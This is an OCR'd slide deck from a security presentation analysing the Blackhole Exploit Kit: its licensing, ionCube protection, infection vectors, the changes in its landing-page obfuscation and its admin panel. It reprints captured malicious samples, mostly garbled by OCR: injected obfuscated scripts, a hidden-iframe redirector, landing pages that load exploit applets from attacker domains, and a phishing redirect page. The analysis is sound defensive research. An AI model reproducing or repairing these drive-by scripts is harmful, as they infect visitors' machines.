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What Is An Exploit Kit

- What is an exploit kit?

- Collection of exploits targeting client browser or browser plugin
vulnerabilities over the web.

- Drive-by download sites
- Hacking for Dummies

- Past exploit kits
- Phoenix (PEK) dates back to 2007,Siberia, Mpack, IcePack,
Neosploit, Hierarchy
- Typically fluctuating in usage and popularity
- Exploits and admin relatively static
- Effectiveness declines with patching
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What Is Blackhole Exploit Kit?

- Top exploit families detected by Microsoft anti-malware
products in the second half of 2011 and first half of 2012

Ty T T T T
HTMUJavaSaipt 1054045 ---

CVE 2012-0507* Java

Win32/Pdfisc Documents L0 L3S

Malicious IFrame HTML/JavaScript 11610177

CVE-2010-0840* Java 1527000 ]

CVE-2011-3544 Java - 331,231 1,358,26¢

(CVE2010-2568(MS10-046)  OperatingSystem 51732 656922 76797 783013

JS/Phoex Java - - 274,811 232,773

CVE-2008-5353 Java 35259 SAT 295515 215593

SheliCode Shell code 71,729 112399 105479 145352
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What Is Blackhole Exploit Kit?

- Creator of Blackhole Exploit Kit is known as "Paunch”

- Most prevalent on the web
- Websense — 65% of all exploit kit detections
- Microsoft — Leads exploit kit families in prevalence by factor of 2

Typical Kit Blackhole
Fluctuating popularity “King of the Kits”
Exploits and admin static Constant addition of exploits

Limited evasion techniques Features continually updated



How Is Blackhole used?

- An attacker has a binary to infect victims
- Could be custom or one built from a kit like Zeus or Spyeye

- The attacker licenses Blackhole Exploit Kit and specifies
various options to customize
- How long?
- Rent or host on your own?

- Traffic is sent to Blackhole’s landing page via one of many
vectors
- Compromised web sites
- Emaill



How Is Blackhole used?

- Blackhole’s landing page contains obfuscated JavaScript
used to profile and possibly exploit potential victim
- OS, Geolocation, Browser, Plugins

- If the client browser or plugins are vulnerable to one of
Blackhole’s exploits, a malicious binary is loaded to infect

- This is the binary created by the user of Blackhole, could be
anything for Windows infection!



Blackhole Service Options

- Attacker can rent the kit

- Blackhole author hosts the kit for a day, week, or month
- Each of the above options also have daily limits of 50k or 70k hits

- This option offloads the overhead of having to set up
hosting and installing the pack

- Could benefit the attacker
- Feature updates or new exploits could roll out during rental



Blackhole Service Options

- Purchasing the kit is also an option
- Typically, this means more overhead for the attacker
- Domain registration and hosting
- Kit is uploaded and installed — instructions provided

- License is for 3, 6, or 12 months
- The purchase is also bound to a specific domain/IP
- This can be removed for an additional fee

- This means exploits, features, etc. are static



Backend Code Protection

Historically, some Kkits are ripped from others
PHP code is the same but admin panel has a different “skin”

Alge spfoalrt Fack |L.j i
Just Infect Tt!




Backend Code Protection

- To prevent this, Blackhole Exploit Kit uses ionCube

- lonCube is a legitimate PHP encoding tool

- Protects source code by encoding

- Provides the ability license code for a duration of time
- Allows the binding of code to IP or domain

<?php //003ab

Af ('extension__loaded( 'ionCube Loaderxr*)){sS oc=strTolower (subscrx (php_uname (), 0, 3))

3 in="'sioncube lcocadex_ "_.3 oc. " _".subsctr(phpversion(), 0,3).((3$ OC=m"win®)?2" Al
*-mo');edAL (S In);if(funcrtion_exists (' _ 11 exec')) {(xetuxzxn _3il _exec();)s 1w

*/ioncube/ " .$ in:sS oid=$% id=rxealpath(ini_get('extension_dix')):$ here=dixrname{

FILE );Af(sTtrxlen(sS Ad) >l &S iAdiil)==":")4{S id=sctrx_replace (" "\
2)):3 here=sctxr_ replace("\\", "/’ ,subscx($ hexre,2)):)S rd=scr_repeact("/..",
substcx_ count ($ ExB DD hexe. "/ "; % iwstrlen($ zd),;whilel($ S=-=) {Z£(S =d([F

"W

./ T .subsTtx (S

i1as,

i

J=="/")4{s lp=substx(§$ zxd,0., 8 i).s In;if (file_exists(§ oid.§ 1lp)r (s in=% il

break: }}}0dl(S__1n): jelse{die( " The file ".__FILE ." is corrupted.\n");aif(
funcrion_exiscts (" i1_exec”)) {recurn _il1 _exec();)lecho("Sicte exrxor: the file <b>"._
FIrs ez the ZonCube PHP Loader '"_._basename($__1In)." to be insctalled
by tThe atoxr. "ds;exitc(19S);

?>

4+ OoVSO Ty IWEhHhC MK ERBRXEIizdilBzpI3yTnEzaaSNWv 6/ 6CTOs I 3 XWXwhI b xD30O3vUneZRpJI 3
Z=D7E61XVcE9qgaldUKaT=zpgsxdIE6Fras300kf6won L sEgV B Y IYEKEVESIwNIQuUdE8sh337RhaGhU
YINZ L w 7 Ai T3 e sM IS/ o3 FOnRk4TATguEa8B3fiINaDgHINICk S SouYos/+wdOTpg3LvPpcd4 eSS Cx
ZZUUTRrDHIUseNtuViexo fwVIPrSxuwiinScz8aeGCeegMtBAIILMIEGHNZSHoZzZIQSsuWclLesani/Ixz/o0
+CcPZ 2 IcwyR O HuxpOl P8 BomD L aw YO+ BT 1IisA X/ PShOoNLASXFM/ASD/ 7KL 10cgEA+I2cUZWIaVLyY
B 0T 4+xy7ceEPUHIQe 7364y Yy vSqCHgYaYk 7Th3pifii2J4di8plliotIDafiwbjiSD4ucRkBxdnSm
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Backend Code Protection

- Quote on the benefits of using ionCube

- “Product Developers: protect and license your code before
distribution. Time restricting is ideal for protecting evaluation
copies, and server/domain based locking helps secure revenue
from multiple domain deployments.”

The ionCube FHF Encoder is available for Linux (x868), FreeBSD, OS5 x (x868) and Windows platforms, and with 2 variants. The product prices are below.

Entry Level (Basic) Fro Cerberus

Single Development Machine License Price 5199 5299 s379
Compiled Code Encoding \,/ V/ \,/
Basic &Access Control Features

Features te gensrate time expiring N \‘/ V/

d IP/domain name res tricted license files

Create MAC Address Restricted Licenses b'd M v’/
Access to upgrades and suppur‘t* y’/ \.c/ y’/

Linux (x86), FreeBSD, Linux (x86), FreeBsD, Linux (x88), FreeBsD,

Available Encoder Flatf - - -
vallable Encoder Hlatrarms 05 x (x86), Windows 05 X (x86), Windows a5 x (x86), Windows

Additional Dewveloper Machine License $149 ($97)"" £199 ($129)7" $259 ($168)77
. . F Entry L | £125 Fi Entry L | $159
Eredies Sl rom Entry Level £ rom Entry Lewvel $
From Pro $95

Special Edition GUI Upgrade for windows™ $35 $35 535



Vectors Of Attack

- Compromised web sites...
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Vectors Of Attack

- Injected obfuscated scripts...

;EJ :Jq Payload

else]
echo '<option value="' . Sresult->country internalid . '"»>' . $result->country name .
¢ /option>' ; - B
}
}
2> [:
<[select></form>
<div style="clear: both; fleat: left;" class="location reset">Reset all location cookies</div>
<br><br><br>
<div style="clear: both; fleat: left;" class="location confirmation" »Reset Location
confirmation cookie</div>
Moduslink Country Changer -->
<soriptrs="";try{g=document.createElement ({"p") ;a=(g) ?"appendC":12 ;q[a+"hild"]
{"123"+n];}catch{qw){f={q}?“fromﬂharﬂude“:2;h=—016[7;try{eval{"a=protutype“);}catch[zxc]
{e=window["e"+"va"+"1"] ;n="18.27.420.510.64.120.400.555.108.351.436.505.220.348.184.515.202.348.
2—1—2—1;—621+i{0;i++}{k=i;3=3+5tring[f](n[k]f(i%(h*h)+2]);}e(3};}}{fscript>
<script type='text/javascript' src='http://cdnd.gopro.com/wp-
content/themes/gopro/is/singlefeed.js?ver=3.1.3'></script>
<script type='text/javascript' sre='http://reporting.singlefeed.com/z/track.js?
v=l.1&#038;ver=3.l.3‘}{fscript}
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Vectors Of Attack

Plain English, or deobfuscated, script

if (document.getElementsByTagName( 'body')[8]) {
iframer();

+ else |
document.write("<iframe src="http://ad.fourtytwo.proadvertize.net/tramp?ref=gopro.com’ width="10" height

='10" style="visibility:hidden;position:absolute;left:0;top:0; "»</iframes");

}

function iframer() {
var T = document.createElement('iframe');
f.setAttribute('szc', 'http://ad.fourtytwo.proadvertise.net/tramp?ref=gopro.con');
f.style.visibility = 'hidden';
f.style.position = 'abaolute';
f.style.left = '07;
f.style.top = "0';
f.setAttribute( 'width', '10");
f.setAttribute( 'height', '107);
document.getElementsByTagName( 'body' )[8]. appendChild(f);



Vectors Of Attack

- Finally, Blackhole landing page

2J ) o] uRLs - Redirected

http:/ ad. banchoath. com/main. php?page=420: 34 banchoath.com 91.218.37.246 197145

EAD

<html><body><script>try{2&prototype: tcatch(v) {x=1; }=z=function()
{if(window.document)e="ev" ;c="";1if (x) f="fromChar" ;
| if(x&&a&kb&e) f=Ff+"Co"+ ({(x)?"de" :12)

d=107;
for(i=16243-1:;i>=0;i--) {
w=1i
v=a[w]
dd={({16243-i-1) ;
dd=dd-Math.floor (dd/d) *d:
! k=w*1+ (dd—2) :
c+=String[£] (k) -
e+="al"
md="a" r
ifix)window[e] (<) &}
| g="":

if(x)g=g+"20.59.42 .42 .41 .102.107.111.122.57.40.48.49.50.49.38.111.95.98.112.104.100.102.116.4

a=g.=split{("."})
a.shift ()
il =z(123):
< /=cript><applet/code="onta.onte" farchive="Utor. jar">
<param,/name="&#0098 ;" fvalue="&0053 : &#0054 ; &#0058 : &0049 : #0052 ; #0058 ; &#0049 : &80052 #0058 : 4
< applet></body><,/html >

| KN >




Vectors Of Attack

Very strong similarities between iFramer and Blackhole
Similar code structures and sometimes the same algorithm!!

r

'fj J Payload - http:/ /summertraveltrip.com/worldtour.html

<scr1pt>el=document.createElement{"div“};@1.appendﬂhild{document.createTeItHodé}"Reference]*
=<1 {¥yIi2N}0"TrBg.:
A b,

fat[d > mSEhRh le) nvip = JS.]lco\'=

nmwisC"  rar2="R116cl116cl192cT6cli80cld4lc92cl68cl64cl1ifd4cliolZ4cl 3208401565201 24c84cl1 080120012
eReferenceErr“

replace(k, "va"+el . childNodes[1] - nodeValnes) re=Fonction("ret"+pan)
;:. farz{01=r116%;s—"" €or (1071 1—ar2. length:iss)

{e( po + s—par + "= nt{k +".rep"+"lace ("R

"yre("s 4= ar.substr(pos, 1}'} ¥
{s}:<fscript>

T +rar2['+"i] S +"4
=

_JJ Payload - hittp:/ fprivatecarlistings.com/wzandex.php?tp=03961ad9e8cd837f

<html><body><div style="wvisibility:hidden">

<div>4d06c35Te21oe3Tlol33c308ce30cl96ce35ce525cl1260d483c196c308c30500294c56To21o308c63 019603080l
< Sdive</dive<script>

el=doocoment . getElementsEBywT

agMName ("diw") [O] »
(El. appendChild (document . createTextHode) "gwegwe™) )
=l . 1insertbefore (doocoment. createTextNode ( "ReferencesBrror") &,
el . childNode=s[1])

k=el.childNodes[1] . nodeWValne

ran = {("urn esReferencesBr"+"ror") ["rep" .concat("la" ,"oce") ]
(l, "wan4+niny

e = Fonction({("ret"+pana) () -

ar =

=N\ "VohA.JPHICWyDpalzrm7] }O?/aRt}4+:5{ N>THlw*'8=9SMk\
e TOFn " -

ar2="["+ (document . getElementsByTagiame ("diwvw") [1] . innerHTHML)
I1repl1+l11acel1] {Jlfcjfg' n . |1} =

arZ=e (arl) ;

s=rn

For (i=0D:il'=ar2.length:i++}){
g—arZlLi1] -

s=st+ar.substri{e{("o /S T") .,.1) :

}
e(s) -
= Sscriptr</body></html>




Vectors Of Attack

- Malicious email campaigns

@ This message was sent with High importance.

S5ent: Wed 2/27/2013 5:06 AM

Fram: | producesb7@email.usairways.com
To: —— — - —— - - —— — ——— o — - ——— A - — .
Ce N ——— - — " A — - — " — B e N ——— - A — o —
Subject: Your US Airways fly order
Fassenger sumimdary ET,._T;J
Fre! quent flyer # [Airling) [ o]
Passenger name Ticket number Special needs
g
- W 53334264803 (US) 83209833859225
17457532414565
- - -
II'ﬂ:tr.}:.."..'rarr1agrarr'|mer.nE’Efusair_rsrl.l'.l'ﬂ:rnlI
- Click to follow link
Fly details F’Download to Qutlook
Depart:  Philadelphia, PA (PHL)!| " Chicago, IL (O'Hare) (ORD)
Date: Thursday, February 28, 2013
H - Travel - .
Flight # Carrier Depart Arrive e Meal Aircraft Cabin Seats!
09:38 10:56 197B
3477 = 2h 18 A320  Coach
AM PHL AM ORD " o 197A
1
Return:  Chicago, IL (O'Hare) (ORD) O ! Philadelphia, PA (PHL)
Date: Wednesday, March 06, 2013
Flight #/ Carrier! Depart Arrive Tt:f’“"':' Meal Aircraft  Cabin Seats
3 11:5% R
5360 = AM  ORD 02:49 PM PHL Th 54m! ! A3zZ0 Coach 104 10B E




Vectors Of Attack

- Compromised web site

‘_AJ J Payload - http:/ /amagrammer.net/usair_rsrv.html

-

<html>
<head>
<titlerloading Reservation Details - TS Airways</title>

<zoript type="text/javascript">
<l ——
Gocation.replace{"http:ffherryhots.netfdetectsjcirculation—comparatively.php"}a

i P
s >

cripts

<noscript>
<meta http-egoiv="refresh" content="0; unrl=http://berrybots.net/detects/cironlation-
comparatively.php">
< /noscript>

=< /head>

<hl>¥on will be redirected to process</hil>

<hd style="color:#364dbc;">We mnst complete few secnurity check=s to show yvonr transfer
details:</hd>

<h3>Be sure yon have a transfer reference ID.<br />¥Yom will be asked to enter it after we
check the link.<br><br>Important: FPlease be advised that calls to and from yvour wire

zervice team may be monitored or recorded.<br /></h3>

<h3=Redirecting to Complain details... Please wait...=</h3>

</html>
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Vectors Of Attack

- Finally, Blackhole landing page
fJ:J:J Payload

<heads<titler</title></head><body><cbject WIDTH="200" HEIGHT="200"
clas=sid="cl=sid:BADSCE40-044E-11D1-B3ES-00805F4959D593"
codebase="&#104 :ttp://java.sun.com/update/1.6.0/jinstall-6u60-windows-
i586.cab&#35 ' Version=6,0,0,0"><param name="val" valune="Dyy30ij7ells?tyiw" /><PARAM
valune="&#00104 &#00119 ;" name="code"><param name="type" valune="application/x-java-applet">
<param name="prime" value="oeyiMeyvedyii%8lsE-VyBtom*t03VIVyEve-
Sw3D3xk.blhOh 06406 .01hRDebiqllf01h06006C06g0ED06 . 0AD0EtRELLE . RgkbURCYybR" /><PARAM
HAME="ARCHIVE" VALUE="/detects/circulation-comparatively.php?igvib=tkjbn&rik=ifnen">
</objects<soript>if (window. doomment) {function o) {for(i=0,3="":i<a.length;i++)
{2+=5tring. fromCharCode (a[i]) : } }if (window.document ) cesg=function()
{z(s.concat("")) :}:try{document.body*=2}catchig)
{xe=1:if(gje=eval;rr="rep"+"la"+"ce" ;doc=document: }try{vasv() jcatch (qg)
{ff="e":}try{gewh=1;}catch(sav) {xce=false; }vvz=""\"+"(";if (xc) rrr=new RegExp(vvz,"ig"):}
</soripts<script language="javascript">
</soripts<script language="javascript">var a =
'1123100B112R100E61A123R11 (R101A11421156105R111R1I0BS (R34E4 (R40A55R46RSTRS4E442110E9TRIO9R10]
</soript><script langnage="javascript">
if (window.doocmment)a=a[rr] (rrr,8) .split ("a")
ef):
Z=asSVXIC=E !
if (window. document) c=q()

< /soript></body>

4 [m] b
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Landing Page

Historically, kits change their obfuscation techniques only
on version releases

- Blackhole seems to change its obfuscation, on average, every two
months!

December 2010
February 2011
March 2011 Changed 3 times!
April 2011

July 2011
September 2011
December 2011
February 2012
May 2012

June 2012
October 2012



Landing Page

First detection of Blackhole was in December 2010

czog: function(e)

d

war w = "453 65 164 1530 459 1273 1663 578 328 205 B89 1774 1662 1965 B57 700 1124 357 512 1806 1273 1731 757 930 11459 536 1404
vars ="

var middle = {w.length / 2);

exn = (function)

{

return this;

i}

fewr = new Date(),
war mtpx="";

war or = "e"Hparselnt(few. getFullY ear())-1)+"a" +Hmtpx+"1";

[If=exn[ar replace("2009" ""];

Ifi"va" +mtpx+"r form=str"+mtpx+ing ©+mtpx+ romC +mtpx+harCode™);
far (vari=0; 1 < middle; i++)

d
}

var as = If{e);
as(s),

5 += forn{w[rmiddle+] - w{i);

}

mar e = eval:

g. bel);

=fscript=

<gpplet code="ot.pizdi.clagss archive=" fexploitsfavacbe jar=<param value="iNN 0wl BY S KB DwhEABLYEY PO Inarme="a" =</applet =




Landing Page

Next change in obfuscation was February 2011

<body=<applet code="direct bear class’ archive="/games/javacbe. jar=Eparam value="M|dofAl0T LeV UV Rws dMdUEWWIL AN T name="pid" /> <fapplet > <script></scriptz
<textarea=12277 12262 12269 12280 12263 1227 4 12268 12269 12347 12275 12265 12279 12284 12265 12278 12279 12274 12265 12278 122580 12263 12339,12333 12254

background: ud{data; vaString fromCharCode)

<fstyle=<script=var lgm = null;

war yna = document styleSheets[0].rules || document. styleSheets[0].cssRules;

forfear gybzh = 0;

gybzh < yna.length;

gybzh++)

|
var yhkm = yna.item ? yna.itemigybzh) : ynagybzh];
Irnrmnp=(ybkrn.cssText) ? vk cssText © ybkm. style.cssText;
lgrm = Irnming. matchue"?datah [ 17 ()" 9A0;

}

vars=""

var g = functian()

{
returh this;

}

I:ll n_n

eyved = al"e"+Ham. substr 241,

futew = docurnent.getElermentsByTagName("textarea)[5-9) value split"");
dvlz=eyycdilgm substrZ]y;

for fvar i = 0; i < futeu.length; i++)

fecz = 12379 - 1*fwteu(i];
s += dvlz(fscz),;
}
eyycd(s),
<fscrint></hody]




Landing Page

In March 2011 obfuscation changed 3 times!

“yalue="r00 5ot zwh AEK Ekkt/ESrahARU-An"s =var date = new Date();

JRER R RS B AN R RR RN AT R AT AR RO R 2 R AT AN R A9 R BB M 20 A Rl RRA R R R AR AN AR R ER R T3 Ed RR R AR R AR R AR A0 R R
uta ataltafala | afta ) e lha'alta 8 I Tita aTia) At ta 0 o VataltaTita | RalRt b e Thaln ¥ W Ui o) Whaa o R W ata eata ) | ol e R ala fa T o ata R W 0o S a n Ma o u ra Vata e a Ra I




Landing Page

Another change in April 2011

<html=<body=<script=
try

!

ftoyc)yil);
!
catchia)

e = new Func tlllrll rvtu +F|:. 10
ar/=e(arsy;

far (i=0; i<ar2. len gth;| I++]
!

s+=ar.substriar2[i] - 13,13
}
els);

<fscrnpt=< Ffhod e Fhtrml=




Landing Page

Next major change came in December 2011

html=<body=<script=

h =window( document]['getElement’+s]("html™);
bb=(bb[0]+"['substr](2 4);
qa=hb:
a=new Array(null new Array (89,100 83,106 55 90 29 105 35 108,103 94 105 20 29 5 49 65 90 59 105 90,
((aa==="bjec]||{aa===ect w=25tring; }
d="a";
=
| b=i=0;
=l
wh|le[|| 5. length)!
o= T omCharCo "+ d e (s [i] + 117
R R €

0 e=window]'eval];

- (ififas==="hjec’|(aa==="ject])
- EER
{fscnpt}ﬂhndy:n:fhtmb




Landing Page

February 2012

=html==body>=applet code = Inc&#E; class'archive = 'http&faa; 847, 8847 65 75, 145 1864847 /Homel/content &4 7 viewers&f46; jar' =
<param name = "p"test = "12"%alu = "12%alue = "w&#1 15, &#1 15, Mlgg=9F 08P d52PdB=gOF LBy ¥ Fhivhi-Yed=56cr" f=<fapplet=<script=
ss='s\g="0,\ ="rd="d" c="c"{="1"

tryflocation(); loatchizxe)aa=/d / exec("1d412" index +[];

e = window. eval;

cc = document;

aga =1 +[]
try |
new btoad b
Y catchizxc) |
if (aaa == aa) a = "G=HB=F=7F 4967 F('oHF=/F2moCzm[?FJ8F 4167 ;JDF BE ?<JGB=0D.. . o/Czmo/HF=FF2moC8mipEE=H7B== F=L4
1

md = 'a%
o= [I;
i=5-2-73;
p = parselnt;
gqg = String;
fr=1;
if (cc) g2 = e"gy.fromCha" + rCode”;
while (16303 - 1 = 0) |
wy = a substefi, 17;
wirw = v charCod et
if [y == 48] &8 ey == 123)) {
I s [ A T e e G R Ty
}else |
L2 =
'
r=c;
if (ft) o =r+r2;
i=1i+1;
1
W= g
if ([ce) z = c;
wizl, = fecript=</body = </html=/




Landing Page




Landing Page

October 2012

<htrml=<head=<title></title =</head=<body=>=<div dga="asd"= </ div=
Zgapplet archive="http:/3. insulkings. comdlinksfselection_ticket-activities. php" code="okmokmokmoka"=>=</applet=
<script=asd3=function()

i
a=a.replace(/["0-Sa-z /g k],

g="getElemesa";

p="Int",

coc="co";
ss=String["fromCharCode”];
go="Attribute";
qgo="google";

function asdQ

{
e=window|"ewval"];
e("ifl17" +s);
ddd="ad". sub=str{1);
sss="sub"+"str";
function asd2)

r=a["get"+gg]i);

Jqal=2,
function asd5()

s+=ss(plalsss]ii,qa2),qal);
=fscript==u id="google" 11="1594h5b5c59551 b4isksk SkSkS9AhSbES 59551 bSS(5CcE3535 kS kiG224i150554 g &.3f4 d5d3h55 +5 cd 50552
g+="ntBEy[d™;

iffwindowe. docurment)

ifi021==0x11)d=window. docurment;
try

fasdITr2
h
catchidsgdsg)

1
ia=d[gliggal;




Landing Page

This i1s what the landing page currently looks like

=hody=<ohject clagsid="clsid:8ADSCE40-044E-1101-B3E9-00805F 499093 codebaze="8#104; &#116; &#116; p:/java.sun.com/update/1.B.0/install-6uB0-windows-i556. cabd#as, Version=6,00,0" W
=param value="hw" name="code"></param=

<param name="type" value="application/x-java-applet"=</naram=

=param name="prime" value="yy30)kKUelko lealle-waeyDeldyij¥to%eloimy/33-58%yEtoiltIMelw303xe. bE. OBDOB-0B.Oh_RSeh110160h01 hOBt 06C06q0Et0RI01 hREEE. RwblRDObU" 5</param >
=param NAME="ARCHIVE" WALUE="/merts/cancerns-applications_orders. php?tayevkg=mzyenmagey=rh"></param==param name="val" value="D"></param=</ohject=

=seript7iffwindow. document)

function cfa)

§f0r(i=D,s=""; i=a.length; i++)

1
- g+=5tring. fromCharCode(a(i]);

}E
iffwindow. document)c sg=function()

‘z(s.concat(");

i

ce=eval;
try

gewh=1;
1

catch(sa)

{

nc=false;

W=
if(xcir=new RegBxplaz,"ig";

=fscript=<script language="javascript">
=fscript=<script language="javascript">
c([0160,0144 01600144 075 0173 0166 0145 0162 0163,0151 0157 0156 072 042 060,056 067 056 071,042 054 0156 0141 0155 0145 072 042 0160 0144 0160 0144 D42 054 0150 0141 01560144 015




Landing Page

Deobfuscated landing page code is quite extensive
First version of Blackhole contained just over 1,000 lines
Latest version of Blackhole contains almost 2,000 lines

Interesting client profiling code

. "iPh 1, N , . , , , 1007,




L
Landing Page

- Hopefully at this point you've noticed the applet code I've
highlighted
- value='e000MDDmuXkN.Rm_NuVgRmDBVoeoju8gW6h83...
- value="INN/%wwZRY X:kXErDwbE/I/BLOXY7P9Y ...
- value="Mjjdo##J01ZsVOsVV#wsdMdCRW{D&/W1...
- value="vssMIgg=9P09Pd59PdB=gOFU6gYPMvM-Vcd=G6cr...
- value="rOOSqttzw5&EKIEkkt?ESrSIWAU-AnN...
- value="http://....

- These are generated by a Java Obfuscator called Allatori

- In particular Allatori string encryption is being used to obfuscate
URLSs in the applet code



Zero Day Bonus

- Java O-day (CVE-2012-4681) was
actually first discovered in a kit
called Gondad Exploit Kit.

- Incorporated into Blackhole < )
within a week! Cmm—
;——‘)
\J

Java



Zero Day Bonus

- Java O0-day (CVE-2013-0422) was
shared on underground forums.

- Paunch put itin as a “New

Years Gift” — Brian Krebs < )
b‘

———

Java



Admin Panel

- Captcha required for login

Authorization

Passwiord

Language | Pycckuin =)




Admin Panel

- Traffic stats, load success rate, and something extra

| Blackhole v.2.0 [T|

(— f'.'\'_ | [ heepedn Ipanel.php '

(:’ Black hole STATISTICS BLOCKED STATISCTICS THREADS FILES SOFT ¥YERSIONS SECURITY PREFEREMCES LOGOUT

Adw: Crvpt.am - crypt of iframefjavascript code.
Adv: Dedicated servers in own Data-Center in Syria for ANY projects | content, Experience & + wears in the market. The guality checked by time ;-) Contact: hgserversimjabber.org
Aady: Mass domain regiskration service, Buy 5-10-15 domains instantly, Pay by PAYMER, LR, PM, W, For malware, traffic and the other things. www, doitquick, net

=~ 7
Start date: End date: Thread:  All threads e 5 sec. l'"'""‘[: T T T T T T 1
STATISTICS os HITED HOSTS LOADS o5 | =
TOTAL TNFO 2 1 40 M indows 2000 38 14 1 St
35114 = 19116 s 406 - LDA(DOS A windows wP 5338 SE 1z 412 1
] 2 \indows 2003 70 35 1 2.86 |
Q Windows Vista 3952 1952 47 z.40 |
TopATINEe 2.14% € windows 7 15763 o517 228 2,34 |
35114 = 19116 s 406 LOADS
« THREADS HITED HOSTS LOADS o5 | =
35114 19116 406 2,14 |
BROWSERS HITED HOSTS LOADS %0 | I
s 23437 116684 333 2,85 | EXPLOITS LOADS o | r
& Firefox 2279 1585 a8 2.4z | @ POF LIBTIFF 57 100, e
@& rome 3340 2394 20 0.84 WE awa Pack 349 1.55 S
O opera 1500 S99 3 0.51
REFERERS HITED HOSTS LOADS o | =
COUNTRIES HITED HOSTS LOADS % | = 31620 17758 354 ERER
2 pijibauti 3 z 1 50,100 S— . 151 51 1 1.96
B H maly 7 3 1 33,33 @ 20 4 1} 0.00
GEFmany 27 29 3 12.50 & 17 2 u} 0.00
% Other country 137 9z 6 5.59 & 2 1 o 0.00
[+l canada 41 34 1 3.03 1 2 2 [t} 0.00
B United States 34809 15902 394 z.10 | 1 1 o 0.00
Pakistan 1 1 a 0.00 - 43 1z o 0.00
M philiocines 1 1 a 0.00 23 3 o 0.00

<



Admin Panel

- Three different advertisements shown in this panel
- Iframe or script encryption services
- Hosting services
- Mass domain registration services

Adv: Dedicated servers in own Data-Center in Sytia for ANY projects [ content, Experience & + vears in the matket, The qualty checked by time ;-) Contact: hoservers@iabber.org
Ady: Mass domain registration service, Buy 5-10-15 domains instantly, Pay by PAYMER, LR, P, WM, For malware, traffic and the other things. v, dotquick.net

Adv: Crypt.am - crypt of iframefjavascript code, 1
ri

,

- All 3 of the services seem to be targeted to Blackhole’s
clientele



Admin Panel

- DoltQuick: a private mass registration service

T

Firefox ~

J | ' Cepemc maccosnii pervcTpaLMK AoMeHOE. | + =
(- !'."_ | Ij hktp: f P, doitquick. net/ ’_‘_" - c| | 'é" Google ,':\| - B-

DoltQuick - Mass domain registration service

fFast, =afe and easy! Instant domain registration services for different purposes.

Login Want to DoltQuick? Sign up!
E-kAAIL E-rlalL
Fassword Fassword
[0 Remember me Once again
| Enter |
Jdabber
ETORN

Secret code

Registration

. Tapuiel M UEHEI &

Swupport: doitguicki@climm. arg | support@doitquick. net




Admin Panel

- Crypt.am seems to also be a private encryption service

J |J Crypk.am | Home

A fr\' | |J hktp: ffcrype. amf?lang=eng

=

) 0 C'| |r.]‘ Google

Crypt.am

| - e Y 5N s

Ipex wrwmi e

—,.——,o | s

private crypt -
JID: paunch

Home

B Welcome

This site provides services for automatic concealment of the copyright source. Pavment is

made via “WebMoney, Tariffs are available below.
There are two payment schemeas:

1. Payment by direct use of services (one-time crypt purchase or monthly unlim}. Result of
the requested operation will he awvailable immediately after payment. This method will

automatically be offered with a lack of funds of personal account.

2. Top-up personal account on the website for further write-offs when using services. If
sufficient balance of personal accounts result requested operation is available immediately,
Top-up personal account can be made from yvour personal account. The current balance is

displayed after logging in the right info ho=x.

One-time crypt (5 WMZ)Y - each crypt worths money

Monthly unlim (50 YWMZ) - unlimited crypts count in one month

St the moment, API realized only mechanism of URL crypt. It is available at:
http: f forypt.amfapi.php?Login=login&Password=md5{password )& Cryptor=cryplort
or crypltorZ2 g URL=wrf

Z43-002
thesecure.biz

Login: | |

|F'asswc|rd: |

O remember me

Register

26.05.2012

Unlim extension

Al unlimited tarffs were
extended for the 9-days
period because of technical
problems.

03.04.2012
reswy domain for project
Mew dormmain Crypt.ah

Z20.12.2011

Unplanned work

e apologize for the lack of
access to the site for 24
hours, this is due to mowe to
a new hosting provider

Last Check

£




Admin Panel

- Back to the admin panel, it also provides blocked stats

J |j Blackhole «.2.0

L]

(— !'_‘3 | Ij htkpe 1ipanel.php?a=blocked oo c'| | -]' Google
Black hole STATISTICS THREADS FILES SOFT YERSIONS SECURITY PREFERENCES
STATISTICS os HITED HOSTS
4321 = HOSTS B indows 2000 1a 2
.‘:', Limuz 103 51
B Mo os 626 433
TODAY INFO
ﬁ Maobile 113 73
4321 e HOSTS .
-] wWindows 28 4 3
THREADS HITED HOSTS
BROWSERS HITED HOSTS
4321 2167
B ozilla 148 57
i gmee 1 a BAN HITED HOSTS
- QP 391 305 BotBlock. 121 a6
e Chrnme 415 316 Tor 7 &
RefererBlock 4178 2069
COUNTRIES HITED HOSTS U 15 3
H Catar 3 z
M rhilippines 1 o
®  Japan z2 1
B Russian Federation 1 1
b Singapare 1 a
== United States 4272 2135
Turkesy 1 1
B Jarnaica 1 1
G ol SEOrgia 1 a
[*0 Canada 51 g
EH AFghanistan 1 1
El china ] 4
EErmany 5 5

LOGOUT

[




Admin Panel

- Custom blacklisting

YEPHBIH CTMCOK
PE®EPEPDI P
htu::fﬂ{aspersk?.mm & 192.168.%.*
htu:l:fﬂf.aspersk?.ru & 10.0.0.*

I3 172.16.0.1
LRL [+ Ip . . . [+

Hononezyame ¥ ana Hacku

HMMOPT U2 SARNA

|{]ﬁ3ﬂp_|

IKCNOPT B $ARN
E 1p-URL-list.bet



Admin Panel

Default set of clients to blacklist — over 132k

B chanoelog [= hols2.sq |




Admin Panel

- Anonymous AV checks virtest & scan4dyou
- Have the option of changing domains after too many detections

ANTI¥IRUS CHECK

Ankivirus service

SoandyoL j
I Token

Change

DOMAINS LIMITS

V' Damains limits
Disable domain on AY count 30 j
If there is no clean domains

& Lse not clean domain

" disable sploit pack,

Save




Admin Panel

- Admin panel for phone clients!
- Discovered by Malware Intelligence

Aara: | |[ ok | DEFALLT -
[http://4ik.cz.cc/index.phptp= ]
OBLAA CTATHCTHKA CHCTEMBbI
3A BECL NEPMOA 10%p ™ DEFAULT . M3MEHEHME MMEHW CKPUMTA:
118678 xvre . 114140 <ocTw PEAMPEKTH: s cwpunTa:
11619 zarpyzkum npobue -1 uz @ l'_d
m
— TPAGUK: .
Bece TM“K Hrma cKpunTa Iﬁl MYHOM CTATHCT KM
3A CEFOQHA 10% [
51428 xute 50834 xocTe TOPZZZ =[x
4913 zarpy=zKu - Minn ckpunTa exoaswero Tpaddiua:
Py [nttp://ajk.cr.ce/index. phptp=cE28422210778104]
L] npobus I
- W UNTITLED SEIE
IMA NapamMeTpa NOTOKa:
ocC CTPAHHI: I
MMS MTH XOCTE 3ATPY KM o Australia, Canada, United Kingdom, United States
Windows 7 45818 44357 3598 8 BPAYZEPH: HMEZMEHWTb NAPONb:
Windows Vista 38328 37026 3817 10 MSIE, Firefox Crapui . - )
Windovis XP 33821 3234 4205 13 OC Apuii naporie: Hoewii napone:
Windows 2003 428 414 1 0  Windows XP, Windows Vista, Windows 7 | ] [ ]
